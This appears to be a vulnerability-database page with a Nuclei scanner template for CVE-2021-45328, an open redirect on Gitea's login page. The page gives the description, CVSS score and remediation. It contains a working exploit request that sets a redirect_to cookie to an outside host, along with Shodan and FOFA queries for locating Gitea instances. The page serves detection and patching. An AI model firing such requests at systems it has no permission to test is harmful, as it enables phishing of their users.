Gitea < 1.4.3 - Open Redirect
CVE-2021-45328
Verified
Description
Gitea before version 1.4.3 is affected by URL Redirection to Untrusted Site ('Open Redirect') via internal URLs. The vulnerability exists in the redirect_to parameter used on the login page (/user/login). Due to improper validation of the redirect URL, an attacker can craft a malicious link that redirects authenticated users to an arbitrary external website after login.
Severity
Medium
CVSS Score
6.1
Exploit Probability
1%
Affected Product
gitea
Published Date
March 31, 2023
Template Author
ritikchaddha
CVE-2021-45328.yaml
id: CVE-2021-45328
info:
name: Gitea < 1.4.3 - Open Redirect
author: ritikchaddha
severity: medium
description: |
Gitea before version 1.4.3 is affected by URL Redirection to Untrusted Site ('Open Redirect') via internal URLs. The vulnerability exists in the redirect_to parameter used on the login page (/user/login). Due to improper validation of the redirect URL, an attacker can craft a malicious link that redirects authenticated users to an arbitrary external website after login.
impact: |
An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
remediation: |
Upgrade Gitea to version 1.4.3 or later to fix the open redirect vulnerability.
reference:
- https://github.com/go-gitea/gitea/issues/4332
- https://nvd.nist.gov/vuln/detail/CVE-2021-45328
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-45328
cwe-id: CWE-601
epss-score: 0.00625
epss-percentile: 0.70427
cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: gitea
product: gitea
shodan-query:
- title:"Gitea"
- http.html:"powered by gitea version"
- http.title:"gitea"
- cpe:"cpe:2.3:a:gitea:gitea"
fofa-query:
- body="powered by gitea version"
- title="gitea"
google-query: intitle:"gitea"
tags: cve,cve2021,redirect,gitea
http:
- raw:
- |
GET /user/login HTTP/1.1
Host: {{Hostname}}
- |
POST /user/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: redirect_to=//interact.sh/
_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
matchers-condition: and
matchers:
- type: regex
part: header_2
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
- type: status
status:
- 302
extractors:
- type: regex
name: csrf
group: 1
regex:
- 'name="_csrf" value="(.*)"'
internal: true
# digest: 490a0046304402206aea74ec8c035a6f0944604057e0c8615e8c455224771a6706cbd78731e363a402200ba7235fed2663a5e09d6cb664ab77905dc01b944c5ba73ebb3d4ab9c7907983:922c64590222798bb761d5b6d8e729506.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2021-45328
CWE ID:
cwe-601
Remediation Steps
Upgrade Gitea to version 1.4.3 or later to fix the open redirect vulnerability.